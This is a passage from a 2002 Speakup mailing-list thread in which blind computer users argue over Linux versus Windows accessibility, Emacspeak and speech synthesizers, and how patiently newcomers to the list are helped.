Linux for his job or school or something He's working with a set of
circumstances that are not the best.  

First, he is using software speech in Linux via emacs because Dectalk
PC is not supported by Speakup.  So, he's kinda between a rock and a
hard place.

Second, English is not his native tongue and he is having a hard time
understanding docs and what commands to use.  

Third, he has a learning style that needs to be accommodated.  This
takes understanding and patience. 

Charles, if ACB is interested in Linux, that's super.  Is there any
way I can help?  I'd be happy to write tutorials, except that I'm not
good at all the commands and so on.  If someone gave me all the
commands and that, I could write a tutorial.  Is there perhaps someone
who would like to collaborate with me on writing Linux Tutorials for
the blind? 

Ann P.
>>>>> "Hi all,Charles" == Charles Crawford <ccrawford@acb.org> writes:

    Hi all,Charles>          OK, now I need to speak from the view of
    Hi all,Charles> the American council of the blind with respect to
    Hi all,Charles> this thread.

    Hi all,Charles>          We want to see alternatives to the
    Hi all,Charles> dominant Ms-Windows operating system and
    Hi all,Charles> applications that are accessible and user
    Hi all,Charles> friendly.  We realize there is a culture around
    Hi all,Charles> Linux that we do not wish to displace or otherwise
    Hi all,Charles> change, yet the culture demands a level of
    Hi all,Charles> personal involvement and knowledge that is neither
    Hi all,Charles> easy to obtain from the available resources nor
    Hi all,Charles> easy to learn once those resources are found.
    Hi all,Charles> Hence, the participation of the wider blindness
    Hi all,Charles> community is not likely unless there are new ways
    Hi all,Charles> of learning and using Linux that maintain the
    Hi all,Charles> accessibility and lack of expense that are so
    Hi all,Charles> attractive.

    Hi all,Charles>          It is not a matter of telling folks to
    Hi all,Charles> read the manual when the manual is prefaced upon
    Hi all,Charles> an expectation of understanding that is greater
    Hi all,Charles> than the average person starting out.  Neither is
    Hi all,Charles> it helpful to assume that everyone is going to be
    Hi all,Charles> able to prioritize their time to dedicate to Linux
    Hi all,Charles> in the same way as others have.

    Hi all,Charles>          This is not a hobby.  It is an operating
    Hi all,Charles> system for use by those who need the access and
    Hi all,Charles> affordability of it.  So let's admit that we need
    Hi all,Charles> to accommodate those interests and find a way to
    Hi all,Charles> do it that is not threatening to the current
    Hi all,Charles> community of users.

    Hi all,Charles>          For the reasons above, ACBH is attempting
    Hi all,Charles> to find the resources to get the internal speech
    Hi all,Charles> engine we need to put speakup inside the box with
    Hi all,Charles> internal quality speech.  That will expand the
    Hi all,Charles> user base because we won't be hunting around for
    Hi all,Charles> hardware that is slowly disappearing.

    Hi all,Charles>          Next we need to look at the usability
    Hi all,Charles> issue.  This does not mean we try and change the
    Hi all,Charles> nature of Linux and it's syntax, but we do need to
    Hi all,Charles> look at any avenues to either make it more easy
    Hi all,Charles> for folks to learn the context through tutorials
    Hi all,Charles> for example or possible other ways.

    Hi all,Charles>          In the end, Linux is a robust product
    Hi all,Charles> that need not be seen as having only one road to
    Hi all,Charles> access.  So let's stop making assumptions about
    Hi all,Charles> the people who are only trying to use this cool
    Hi all,Charles> operating system and start making an environment
    Hi all,Charles> that supports all who want to use it.

    Hi all,Charles> -- Charlie Crawford.  At 04:34 PM 5/19/02 -0400,
    Hi all,Charles> you wrote:
    >> I think that most people know how to search for things on the
    >> internet. I think you need to stop and think about the fact
    >> that not all people are good at finding things and that's why
    >> we ask for help. If I could find all of the answers to my
    >> problems, I wouldn't be asking.:p Before you start treating new
    >> people like their idiots, try to remember that we're all
    >> different, we all learn in different ways, and sometimes we
    >> miss stuff.
    >> 
    >> 
    >> 
    >> On Sun, 19 May 2002, Janina Sajka wrote:
    >> 
    >> > All right, Newbies, Listen Up!
    >> >
    >> > There's something called Google. It's your friend. You use it
    >> > with your favorite web browser. It's real easy and it's lynx
    >> > friendly. And, it finds the answers to almost all of the
    >> "where > do I find" questions I've seen on this list in the
    >> last 6 months, > and puts them on the first screen of results.
    >> >
    >> > Learn to use Google. Keep it open in a second console.
    >> >
    >> > The field where you type in your search string is the fourth
    >> > field on the main Google screen. The submit button is the
    >> next > field.
    >> >
    >> > This is not rocket science. It isn't even hard.
    >> >
    >> >
    >> > _______________________________________________ > Speakup
    >> mailing list > Speakup@braille.uwo.ca >
    >> http://speech.braille.uwo.ca/mailman/listinfo/speakup
    >> >
    >> 
    >> 
    >> _______________________________________________ Speakup mailing
    >> list Speakup@braille.uwo.ca
    >> http://speech.braille.uwo.ca/mailman/listinfo/speakup


    Hi all,Charles> _______________________________________________
    Hi all,Charles> Speakup mailing list Speakup@braille.uwo.ca
    Hi all,Charles> http://speech.braille.uwo.ca/mailman/listinfo/speakup

-- 
			Ann K. Parsons  
email:  akp@eznet.net 			ICQ Number:  33006854
WEB SITE:  http://home.eznet.net/~akp
"All that is gold does not glitter.  Not all those who wander are lost."  JRRT

Re: interesting experiment.

[jwantz]

Hi,
Yes, the file detailing boot up in WINDOWS is indeed graphical.  I 
understand there is a program that will translate the graphical file 
into Engliish but I don't recall the name of that program and I really 
don't particularly care if I ever recall the name.  dmesg is indeed 
clearly better.

     Jim Wantz
  On Sun, 19 May 2002, Janina Sajka wrote:

> Here's another one. 
> 
> Can one yet get a readable report on installed hardware under
> Windows?
> 
> As I recall, there's such a thing, but it writes a graphical
> file. Not at all as friendly as dmesg.
> 
> On Sun, 19 May 2002, Cecil H. Whitley wrote:
> 
> > Hi,
> > even more usefull....
> > You've got your network settings set to "obtain an ip address
> > automatically"..... How do you find your current ip address?  Under 9x?
> > Under NT?  Under 2k/xp?
> > You have to remember which operating system and which command to use because
> > it's not the same in all cases.
> > 
> > Admittedly the learning curve is less steep, but the os itself is less
> > powerfull as well.  Fewer features directly relate to easier to learn.  Less
> > capability also directly equates to less learning needed.  GUI's have some
> > benefits, almost any 1d10t can erase/format his/her hard drive in less time.
> > It's amazing how fast sighted people can trash a windows system.  Keeps me
> > employed anyway.
> > Cecil
> > 
> > ----- Original Message -----
> > From: "Janina Sajka" <janina@afb.net>
> > To: <speakup@braille.uwo.ca>
> > Sent: Sunday, May 19, 2002 12:49 AM
> > Subject: Re: interesting experiment.
> > 
> > 
> > > On Sun, 19 May 2002, Octavian Rasnita wrote:
> > >
> > > > If you know a good text editor under Linux please tell me.
> > >
> > > emacs and/or vim. You'll never need anything else. So, learn them
> > > or go back toWindows.
> > >
> > > > Well, under Windows, you don't need to remember anything at all.
> > >
> > > That's not true. What is your card's mac address? Go ahead. Find
> > > it.
> > > Then tell us you don't need to remember anything.
> > >
> > > > You open a window, and it explains you what you should do there.
> > > > You have to press the space bar to check some checkboxes, to press some
> > > > buttons, etc, and if you don't know something, press shift+f10 (or the
> > right
> > > > mouse button and choose "what's this?" or press F1 to view the help file
> > > > wich is much much more easier to navigate than the man pages under
> > Linux.
> > > >
> > > > Thanks.
> > > > Teddy,
> > > > orasnita@home.ro
> > > >
> > > > ----- Original Message -----
> > > > From: "Janina Sajka" <janina@afb.net>
> > > > To: <speakup@braille.uwo.ca>
> > > > Sent: Sunday, May 19, 2002 6:14 AM
> > > > Subject: Re: interesting experiment.
> > > >
> > > >
> > > > OK, let's take this one question at a time ...
> > > >
> > > > On Sun, 19 May 2002, Octavian Rasnita wrote:
> > > >
> > > > > Are there any games accessible for the blind under Linux, like under
> > > > > Windows?
> > > > > Please tell me some web addresses.
> > > >
> > > > I was with you until you said "like Windows." I have no idea
> > > > about Windows. I know nothing about it.
> > > >
> > > > But, if you want games, you can find them. Maybe they're better,
> > > > maybe not. But they're out there. Emacs comes with games, and
> > > > some are speech enabled by emacspeak. The only game I really know
> > > > much about is gnu chess which can be obtained from
> > > > http://www.gnu.org.
> > > >
> > > > I'm generally too interested in things to play games on my
> > > > computer. Last thing I'm likely to do, so I'm out of knowledge
> > > > here.
> > > >
> > > > > Are there any good sound editing programs for Linux, like Sound Forge,
> > > > Cool
> > > > > Edit, Gold Wave, etc, and programs for creating MIDI music, like Cake
> > > > Walk?
> > > >
> > > >
> > > > There's ecasound and sox. Very accessible. And there's
> > > > gramophone. I recently came across a java midi patch editor, but
> > > > I haven't had the time to get it working yet to find out about
> > > > its accessibility. Admitedly, these are less functional than the
> > > > Windows apps you mention for many tasks. Is this what you do? Or
> > > > are these academic questions?
> > > >
> > > > > Is there a text editor, that has macro features, Regular expressions,
> > the
> > > > > ability to save in Windows/Mac/Unix format, etc?
> > > >
> > > > What is Mac format? I've never heard of that. And what is Windows
> > > > format?
> > > > And, why would you care?
> > > >
> > > > Is there powerful text editing, formatting, scripting? Of course
> > > > there is. Far more powerful than in Windows or Mac. There are
> > > > probably too many to mention, actually. Linux/Unix has the
> > > > proprietary world beat hands down on this one.
> > > >
> > > > Those format questions are themselves silly. You don't need them.
> > > > You certainly don't need them to communicate with anyone, or to
> > > > print out lovely reports, or design lovely e-content for on line
> > > > publishing, etc.
> > > >
> > > > In fact, you do better to forget them and use the superior tools
> > > > available on Linux.
> > > >
> > > > >
> > > > > ... Just a few things that camed to mind.
> > > > >
> > > > > A lot of things are accessible, but ... harder to learn, harder to
> > > > configure
> > > > > and harder to use, if I am not so bright to remember 1000 command line
> > > > > parameters.
> > > >
> > > > Give me a break. Grow up. How do you remember 1,000 dialog boxes.
> > > > How do you remember where to tell windows to show extensions to
> > > > files, for example. Or how about finding your ethernet card's mac
> > > > address. Do you remember that? I could go on. This is another
> > > > bogus argument.
> > > >
> > > > But, if you think the gui is actually superior, you're going to
> > > > lose this excuse soon enough. GNOME is coming. What sad song are
> > > > you going to sing then?
> > > >
> > > > >
> > > > > Thank you for the links.
> > > > > Teddy,
> > > > > orasnita@home.ro
> > > > >
> > > > > ----- Original Message -----
> > > > > From: "Janina Sajka" <janina@afb.net>
> > > > > To: <speakup@braille.uwo.ca>
> > > > > Sent: Saturday, May 18, 2002 9:59 PM
> > > > > Subject: Re: interesting experiment.
> > > > >
> > > > >
> > > > > On Sat, 18 May 2002, Darrell Shandrow wrote:
> > > > > > I just wish Linux were
> > > > > > a more viable general purpose workstation; I use Windows for that
> > > > purpose.
> > > > > >
> > > > > Hi, Darrell:
> > > > >
> > > > > Just wondering what you think is missing from Linux' desktop
> > > > > applications.
> > > > >
> > > > > In case this sounds loaded, it might be. The underlying question
> > > > > might be: Is it your knowledge deficit, or is it Linux itself?
> > > > > For my own experience in this matter, I've found it's my
> > > > > knowledge deficit almost without exception.
> > > > >
> > > > >
> > > > >
> > > > >
> > > >
> > > --------------------------------------------------------------------------
> > > > --
> > > > > ----
> > > > >
> > > > >
> > > > >
> > > > > ---
> > > > > Outgoing mail is certified Virus Free.
> > > > > Checked by AVG anti-virus system (http://www.grisoft.com).
> > > > > Version: 6.0.361 / Virus Database: 199 - Release Date: 5/7/2002
> > > > >
> > > > >
> > > > >
> > > > > _______________________________________________
> > > > > Speakup mailing list
> > > > > Speakup@braille.uwo.ca
> > > > > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> > > > >
> > > >
> > > > --
> > > >
> > > > Janina Sajka, Director
> > > > Technology Research and Development
> > > > Governmental Relations Group
> > > > American Foundation for the Blind (AFB)
> > > >
> > > > Email: janina@afb.net Phone: (202) 408-8175
> > > >
> > > > Chair, Accessibility SIG
> > > > Open Electronic Book Forum (OEBF)
> > > > http://www.openebook.org
> > > >
> > > >
> > > > _______________________________________________
> > > > Speakup mailing list
> > > > Speakup@braille.uwo.ca
> > > > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> > > >
> > > >
> > > >
> > > > _______________________________________________
> > > > Speakup mailing list
> > > > Speakup@braille.uwo.ca
> > > > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> > > >
> > >
> > > --
> > >
> > > Janina Sajka, Director
> > > Technology Research and Development
> > > Governmental Relations Group
> > > American Foundation for the Blind (AFB)
> > >
> > > Email: janina@afb.net Phone: (202) 408-8175
> > >
> > > Chair, Accessibility SIG
> > > Open Electronic Book Forum (OEBF)
> > > http://www.openebook.org
> > >
> > >
> > > _______________________________________________
> > > Speakup mailing list
> > > Speakup@braille.uwo.ca
> > > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> > 
> > 
> > _______________________________________________
> > Speakup mailing list
> > Speakup@braille.uwo.ca
> > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> > 
> 
> 

Re: interesting experiment.

[Charles Crawford]

Rich,

         This is indeed encouraging.  Thanks.

-- charlie.
At 12:32 PM 5/20/02 -0400, you wrote:
>Charlie Crawford, I aplaude your comments!
>I believe that gnome will address many of these issues. I think that gnome
>will be similar enough to windows that the transition will not be too
>painful. Analogy is one of our most useful skills as human beings, so let's
>take advantage of it. That said, I'm sure things will be buggy and perhaps
>not as straightforward as we'd like to imagine, but since the software is
>maluable, and the developers actually care about the blindness community,
>these conditions will not persist.
>
>                     Rich
>
>----- Original Message -----
>From: "Charles Crawford" <ccrawford@acb.org>
>To: <speakup@braille.uwo.ca>
>Sent: Monday, May 20, 2002 8:44 AM
>Subject: Re: interesting experiment.
>
>
> >          OK, now I need to speak from the view of the American council of
> > the blind with respect to this thread.
> >
> >          We want to see alternatives to the dominant Ms-Windows operating
> > system and applications that are accessible and user friendly.  We realize
> > there is a culture around Linux that we do not wish to displace or
> > otherwise change, yet the culture demands a level of personal involvement
> > and knowledge that is neither easy to obtain from the available resources
> > nor easy to learn once those resources are found.  Hence, the
>participation
> > of the wider blindness community is not likely unless there are new ways
>of
> > learning and using Linux that maintain the accessibility and lack of
> > expense that are so attractive.
> >
> >          It is not a matter of telling folks to read the manual when the
> > manual is prefaced upon an expectation of understanding that is greater
> > than the average person starting out.  Neither is it helpful to assume
>that
> > everyone is going to be able to prioritize their time to dedicate to Linux
> > in the same way as others have.
> >
> >          This is not a hobby.  It is an operating system for use by those
> > who need the access and affordability of it.  So let's admit that we need
> > to accommodate those interests and find a way to do it that is not
> > threatening to the current community of users.
> >
> >          For the reasons above, ACBH is attempting to find the resources
>to
> > get the internal speech engine we need to put speakup inside the box with
> > internal quality speech.  That will expand the user base because we won't
> > be hunting around for hardware that is slowly disappearing.
> >
> >          Next we need to look at the usability issue.  This does not mean
> > we try and change the nature of Linux and it's syntax, but we do need to
> > look at any avenues to either make it more easy for folks to learn the
> > context through tutorials for example or possible other ways.
> >
> >          In the end, Linux is a robust product that need not be seen as
> > having only one road to access.  So let's stop making assumptions about
>the
> > people who are only trying to use this cool operating system and start
> > making an environment that supports all who want to use it.
> >
> > -- Charlie Crawford.
> > At 04:34 PM 5/19/02 -0400, you wrote:
> > >I think that most people know how to search for things on the internet. I
> > >  think you need to stop and think about the fact that not all people are
> > >good at finding things and that's why we ask for help. If I could find
>all
> > >of the answers to my problems, I wouldn't be asking.:p  Before you start
> > >treating new people like their idiots, try to remember that we're all
> > >different, we all learn in different ways, and sometimes we miss stuff.
> > >
> > >
> > >
> > >On Sun, 19 May 2002, Janina Sajka wrote:
> > >
> > > > All right, Newbies, Listen Up!
> > > >
> > > > There's something called Google. It's your friend. You use it
> > > > with your favorite web browser. It's real easy and it's lynx
> > > > friendly. And, it finds the answers to almost all of the "where
> > > > do I find" questions I've seen on this list in the last 6 months,
> > > > and puts them on the first screen of results.
> > > >
> > > > Learn to use Google. Keep it open in a second console.
> > > >
> > > > The field where you type in your search string is the fourth
> > > > field on the main Google screen. The submit button is the next
> > > > field.
> > > >
> > > > This is not rocket science. It isn't even hard.
> > > >
> > > >
> > > > _______________________________________________
> > > > Speakup mailing list
> > > > Speakup@braille.uwo.ca
> > > > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> > > >
> > >
> > >
> > >_______________________________________________
> > >Speakup mailing list
> > >Speakup@braille.uwo.ca
> > >http://speech.braille.uwo.ca/mailman/listinfo/speakup
> >
> >
> >
>
>
>_______________________________________________
>Speakup mailing list
>Speakup@braille.uwo.ca
>http://speech.braille.uwo.ca/mailman/listinfo/speakup

Re: interesting experiment.

[Rich Caloggero]

Charlie Crawford, I aplaude your comments!
I believe that gnome will address many of these issues. I think that gnome
will be similar enough to windows that the transition will not be too
painful. Analogy is one of our most useful skills as human beings, so let's
take advantage of it. That said, I'm sure things will be buggy and perhaps
not as straightforward as we'd like to imagine, but since the software is
maluable, and the developers actually care about the blindness community,
these conditions will not persist.

                    Rich

----- Original Message -----
From: "Charles Crawford" <ccrawford@acb.org>
To: <speakup@braille.uwo.ca>
Sent: Monday, May 20, 2002 8:44 AM
Subject: Re: interesting experiment.


>          OK, now I need to speak from the view of the American council of
> the blind with respect to this thread.
>
>          We want to see alternatives to the dominant Ms-Windows operating
> system and applications that are accessible and user friendly.  We realize
> there is a culture around Linux that we do not wish to displace or
> otherwise change, yet the culture demands a level of personal involvement
> and knowledge that is neither easy to obtain from the available resources
> nor easy to learn once those resources are found.  Hence, the
participation
> of the wider blindness community is not likely unless there are new ways
of
> learning and using Linux that maintain the accessibility and lack of
> expense that are so attractive.
>
>          It is not a matter of telling folks to read the manual when the
> manual is prefaced upon an expectation of understanding that is greater
> than the average person starting out.  Neither is it helpful to assume
that
> everyone is going to be able to prioritize their time to dedicate to Linux
> in the same way as others have.
>
>          This is not a hobby.  It is an operating system for use by those
> who need the access and affordability of it.  So let's admit that we need
> to accommodate those interests and find a way to do it that is not
> threatening to the current community of users.
>
>          For the reasons above, ACBH is attempting to find the resources
to
> get the internal speech engine we need to put speakup inside the box with
> internal quality speech.  That will expand the user base because we won't
> be hunting around for hardware that is slowly disappearing.
>
>          Next we need to look at the usability issue.  This does not mean
> we try and change the nature of Linux and it's syntax, but we do need to
> look at any avenues to either make it more easy for folks to learn the
> context through tutorials for example or possible other ways.
>
>          In the end, Linux is a robust product that need not be seen as
> having only one road to access.  So let's stop making assumptions about
the
> people who are only trying to use this cool operating system and start
> making an environment that supports all who want to use it.
>
> -- Charlie Crawford.
> At 04:34 PM 5/19/02 -0400, you wrote:
> >I think that most people know how to search for things on the internet. I
> >  think you need to stop and think about the fact that not all people are
> >good at finding things and that's why we ask for help. If I could find
all
> >of the answers to my problems, I wouldn't be asking.:p  Before you start
> >treating new people like their idiots, try to remember that we're all
> >different, we all learn in different ways, and sometimes we miss stuff.
> >
> >
> >
> >On Sun, 19 May 2002, Janina Sajka wrote:
> >
> > > All right, Newbies, Listen Up!
> > >
> > > There's something called Google. It's your friend. You use it
> > > with your favorite web browser. It's real easy and it's lynx
> > > friendly. And, it finds the answers to almost all of the "where
> > > do I find" questions I've seen on this list in the last 6 months,
> > > and puts them on the first screen of results.
> > >
> > > Learn to use Google. Keep it open in a second console.
> > >
> > > The field where you type in your search string is the fourth
> > > field on the main Google screen. The submit button is the next
> > > field.
> > >
> > > This is not rocket science. It isn't even hard.
> > >
> > >
> > > _______________________________________________
> > > Speakup mailing list
> > > Speakup@braille.uwo.ca
> > > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> > >
> >
> >
> >_______________________________________________
> >Speakup mailing list
> >Speakup@braille.uwo.ca
> >http://speech.braille.uwo.ca/mailman/listinfo/speakup
>
>
>

Re: interesting experiment.

[Gregory Nowak]

Yes, I remember when I tried viavoice and emacs speak on a machine with a sound card, no serial ports, and no isa slot. I hated it, and soon gave it up. As for running a dos telnet client (assuming he can run DOS), there are freeware DOS screen readers.
Greg


On Mon, May 20, 2002 at 12:38:24AM -0400, Janina Sajka wrote:
> Greg:
> 
> I'm pretty sure he isn't using Speakup. He doesn't have a
> supported synth. He telnets from his Windows machine, as I
> recall, and he's tried using ViaVoice directly with emacspeak. Of
> course, the latter is a very steep learning curve.
> 
> Still, he's got the DEC Talk internal, and emacs with or without
> emacspeak is worth learning. Without emacspeak, he can run it
> over telnet--but I doubt JFW is all that great as a telnet
> client's screen review program. Also, the default Microsoft
> telnet is pretty lame. I would think this setup is fraught with
> frustration.
> 
> So, emacspeak with that DEC Talk is probably his smartest option
> right now, with the telnet as a back up to avoid rebooting.
> 
> I have also suggest yasr and eflite, but he's insisting on
> nothing less than Eloquence for free, so the DEC Talk is probably
> the best compromise.
> 
> Another option would be a better screen reader for telnet and a
> better telnet client. That would mean a good DOS screen reader
> like asap or Vocal-Eyes, assuming he can actually run DOS on that
> Windows machine. Neither of those is very cheap, though, and
> spending that much money would be dumb, because he could get a
> good Doubletalk for less than the cost of that software.
> 
> On Sun, 19 May 2002, Gregory Nowak wrote:
> 
> > We're all assuming he's using speakup since he's here. But from all of Tedy's comments in other posts, I am beginning to get the impression that he's not, since he seems to be asking for screen readers which support software tts.
> > Greg
> > 
> > 
> > On Sun, May 19, 2002 at 10:58:09PM -0400, Deedra Waters wrote:
> > > Try man < emacs|less then use the speakup keys to read line by line, or
> > > word by word if you wish. you can bring up the next page by hitting the
> > > space bar.
> > > 
> > > 
> > > On Mon, 20 May 2002, Octavian Rasnita wrote:
> > > 
> > > > Please enlighten me.
> > > > I never used the Jaws cursor in the new HTML help  format under Windows.
> > > > Select an item in the tree view, press enter, then press F6 and it will
> > > > automaticly start reading that help item. It is a simple HTML file there,
> > > > and it works exactly as simple as Internet Explorer.
> > > > You don't need the Jaws cursor at all.
> > > > 
> > > > You needed the Jaws cursor only for some bad designed help files in the old
> > > > .hlp format.
> > > > Now in the new .chm format, you don't have any problems.
> > > > 
> > > > But this doesn't matter too much. Please tell me how to navigate the man
> > > > pages.
> > > > I type man mv, for example.
> > > > It starts to print all the help file, but maybe I want to move with a page
> > > > up then down, etc.
> > > > 
> > > > I know this is possible. Thanks.
> > > > Teddy,
> > > > orasnita@home.ro
> > > > 
> > > > ----- Original Message -----
> > > > From: "Shaun Oliver" <shaun_oliver@optusnet.com.au>
> > > > To: <speakup@braille.uwo.ca>
> > > > Sent: Sunday, May 19, 2002 8:05 AM
> > > > Subject: Re: interesting experiment.
> > > > 
> > > > 
> > > > SNIP
> > > > > > You open a window, and it explains you what you should do there.
> > > > > > You have to press the space bar to check some checkboxes, to press some
> > > > > > buttons, etc, and if you don't know something, press shift+f10 (or the
> > > > right
> > > > > > mouse button and choose "what's this?" or press F1 to view the help file
> > > > > > wich is much much more easier to navigate than the man pages under
> > > > Linux.
> > > > SNIP
> > > > 
> > > > A fake.
> > > > man pages under GNU/Linux are a lot easier to navigate than windows help
> > > > pages.
> > > > you need to route the jaws cursor to the pc and then fart around trying to
> > > > find what you were looking for.
> > > > even with the new features in jfw I seriously doubt you could navigate a
> > > > help file easier than a man page..
> > > > 
> > > > 
> > > > 
> > > > _______________________________________________
> > > > Speakup mailing list
> > > > Speakup@braille.uwo.ca
> > > > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> > > > 
> > > > 
> > > > 
> > > > _______________________________________________
> > > > Speakup mailing list
> > > > Speakup@braille.uwo.ca
> > > > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> > > > 
> > > 
> > > 
> > > _______________________________________________
> > > Speakup mailing list
> > > Speakup@braille.uwo.ca
> > > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> > 
> > _______________________________________________
> > Speakup mailing list
> > Speakup@braille.uwo.ca
> > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> > 
> 
> -- 
> 	
> 				Janina Sajka, Director
> 				Technology Research and Development
> 				Governmental Relations Group
> 				American Foundation for the Blind (AFB)
> 
> Email: janina@afb.net		Phone: (202) 408-8175
> 
> Chair, Accessibility SIG
> Open Electronic Book Forum (OEBF)
> http://www.openebook.org
> 
> 
> _______________________________________________
> Speakup mailing list
> Speakup@braille.uwo.ca
> http://speech.braille.uwo.ca/mailman/listinfo/speakup

Re: interesting experiment.

[Gregory Nowak]

This isn't possible, and I don't think your asking for too much at all. If there were only more programmers to work on modulerizing speakup and working on tuxtalk ... sigh.
Greg


On Mon, May 20, 2002 at 07:41:02AM +0300, Octavian Rasnita wrote:
> Ok, I don't want to learn Emacspeak at all.
> I would like to be able to use a real screen reader but unfortunately it is
> not possible without a hardware sinthesizer which is expensive.
> I have one, but it is not supported by a real screen reader.
> 
> I would like to have a screen reader that starts at startup, which can be
> used to read the screen in pine, pico, lynx, and the command line.
> Is this possible without a hardware sinthesizer?
> Am I asking too much from the best OS?
> 
> Teddy,
> orasnita@home.ro
> 
> ----- Original Message -----
> From: "Janina Sajka" <janina@afb.net>
> To: <speakup@braille.uwo.ca>
> Sent: Monday, May 20, 2002 6:46 AM
> Subject: Re: interesting experiment.
> 
> 
> This is not an important problem. You have more important things
> to worry about than this.
> 
> Also, using emacs' terminal mode is probably not the smartest way
> to learn about emacs.
> 
> If you're trying to learn emacs, you shouldn't start with that.
> You're trying to run, and you haven't even learned how to crawl
> yet.
> 
> On Mon, 20 May 2002, Octavian Rasnita wrote:
> 
> > Of course, because that problem happend me for more times.
> >
> > I think I found a little problem but I am not sure.
> >
> > When it starts, emacspeak  tell me that message that it is functioning
> > normally (BTW. How can I change that message?)  and I don't care about
> that
> > message and I start pressing the normal shortcuts for launching the
> terminal
> > mode before it finishes the message. When I do that, the terminal doesn't
> > start.
> > If I let emacspeak to finish its message, I can start it.
> >
> > How can I stop the voice? What key should I press if I want to stop the
> > message?
> > I searched in the help file but I couldn't find it.
> > Teddy,
> > orasnita@home.ro
> >
> > ----- Original Message -----
> > From: "Janina Sajka" <janina@afb.net>
> > To: <speakup@braille.uwo.ca>
> > Sent: Monday, May 20, 2002 3:42 AM
> > Subject: Re: interesting experiment.
> >
> >
> > Octavian: You need to explain yourself.
> >
> > What is the meaning of "of course" in your message?
> >
> > What's that about?
> >
> > Also, why are you rebooting? That's your hangover from Windows.
> >
> > Get a clue. That's not the way to get out of trouble.
> >
> > Your emacs is probably working just fine, and you can probably
> > get back to your buffer list with c-x c-b
> >
> > Now, instead of whining at the first sign of trouble, why not
> > study how to use the program a bit? Have you read the tutorials?
> > What can you succeed with? Or, did you just come here to say:
> >
> > "of course"
> >
> > to us.
> >
> > I won't accept that. Not from you, not from anyone.
> >
> > On Sun, 19 May 2002, Octavian Rasnita wrote:
> >
> > > I press the keys for  launching the terminal mode under Emacspeak, I
> type
> > a
> > > simple ls command to test it, I won't hear anything of course, then the
> > > computer stopped speaking, and I need to reboot it.
> > > IS Emacspeak the problem? Is IBM Via Voice stopping?
> > > I don't know.
> > > Thank you for putting me to learn. <gee>
> > > Do you have a link to a text file with all the command lines used by
> > > emacspeak?
> > > I've tried that help, but I couldn't find how to set the speed of voice
> > > sinthesizer faster, nor how to read a text at once, not line by line.
> > > I also would like to know how can I skip the text when I read this way.
> > >
> > > In Windows, I can put the screen reader to read in "say all" mode and if
> I
> > > press the right shift, it skips a line and continue reading without
> > > stopping.
> > > If I press the left shift, it goes back with a line and continue reading
> > > without stopping.
> > >
> > > This is a good feature and I am sure it should be in Emacspeak also.
> > > However, I couldn't find it.
> > >
> > > I would also like to know if there is a kind of control panel for
> > emacspeak,
> > > where I can set all the variables, a configuration file, etc.
> > > Emacspeak starts with a text file which is not too big and I should read
> a
> > > lot of things before finding how to set the sinthesizer faster.
> > > And I don't  have the patience to listen how slowly it speaks.
> > >
> > > Teddy,
> > > orasnita@home.ro
> > >
> > > ----- Original Message -----
> > > From: "Janina Sajka" <janina@afb.net>
> > > To: <speakup@braille.uwo.ca>
> > > Sent: Sunday, May 19, 2002 6:17 AM
> > > Subject: Re: interesting experiment.
> > >
> > >
> > > No joke. Emacs is easier than Windows.
> > >
> > > Now, Octavian, stop belly aching and go learn how to do
> > > something.
> > >
> > > On Sun, 19 May 2002, Octavian Rasnita wrote:
> > >
> > > > Do you mean that using Emacspeak is easier than using Windows?
> > > > Nice joke. Really.
> > > > And ... without a hardware sinthesizer, with that IBM Via Voice that
> > likes
> > > > to crash so often, or other software sinthesizers hard to understand,
> > ...
> > > > Teddy,
> > > > orasnita@home.ro
> > > >
> > > > ----- Original Message -----
> > > > From: "Ann Parsons" <akp@eznet.net>
> > > > To: <speakup@braille.uwo.ca>
> > > > Sent: Saturday, May 18, 2002 11:53 PM
> > > > Subject: Re: interesting experiment.
> > > >
> > > >
> > > > Hi all,
> > > >
> > > > Why don't you try Emacspeak and quit yawping!  There *is* a speech
> > > > output system that uses software speech.
> > > >
> > > > Ann P.
> > > >
> > > > --
> > > > Ann K. Parsons
> > > > email:  akp@eznet.net ICQ Number:  33006854
> > > > WEB SITE:  http://home.eznet.net/~akp
> > > > "All that is gold does not glitter.  Not all those who wander are
> lost."
> > > > JRRT
> > > >
> > > >
> > > > _______________________________________________
> > > > Speakup mailing list
> > > > Speakup@braille.uwo.ca
> > > > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> > > >
> > > >
> > > >
> > > > _______________________________________________
> > > > Speakup mailing list
> > > > Speakup@braille.uwo.ca
> > > > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> > > >
> > >
> > > --
> > >
> > > Janina Sajka, Director
> > > Technology Research and Development
> > > Governmental Relations Group
> > > American Foundation for the Blind (AFB)
> > >
> > > Email: janina@afb.net Phone: (202) 408-8175
> > >
> > > Chair, Accessibility SIG
> > > Open Electronic Book Forum (OEBF)
> > > http://www.openebook.org
> > >
> > >
> > > _______________________________________________
> > > Speakup mailing list
> > > Speakup@braille.uwo.ca
> > > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> > >
> > >
> > >
> > > _______________________________________________
> > > Speakup mailing list
> > > Speakup@braille.uwo.ca
> > > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> > >
> >
> > --
> >
> > Janina Sajka, Director
> > Technology Research and Development
> > Governmental Relations Group
> > American Foundation for the Blind (AFB)
> >
> > Email: janina@afb.net Phone: (202) 408-8175
> >
> > Chair, Accessibility SIG
> > Open Electronic Book Forum (OEBF)
> > http://www.openebook.org
> >
> >
> > _______________________________________________
> > Speakup mailing list
> > Speakup@braille.uwo.ca
> > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> >
> >
> >
> > _______________________________________________
> > Speakup mailing list
> > Speakup@braille.uwo.ca
> > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> >
> 
> --
> 
> Janina Sajka, Director
> Technology Research and Development
> Governmental Relations Group
> American Foundation for the Blind (AFB)
> 
> Email: janina@afb.net Phone: (202) 408-8175
> 
> Chair, Accessibility SIG
> Open Electronic Book Forum (OEBF)
> http://www.openebook.org
> 
> 
> _______________________________________________
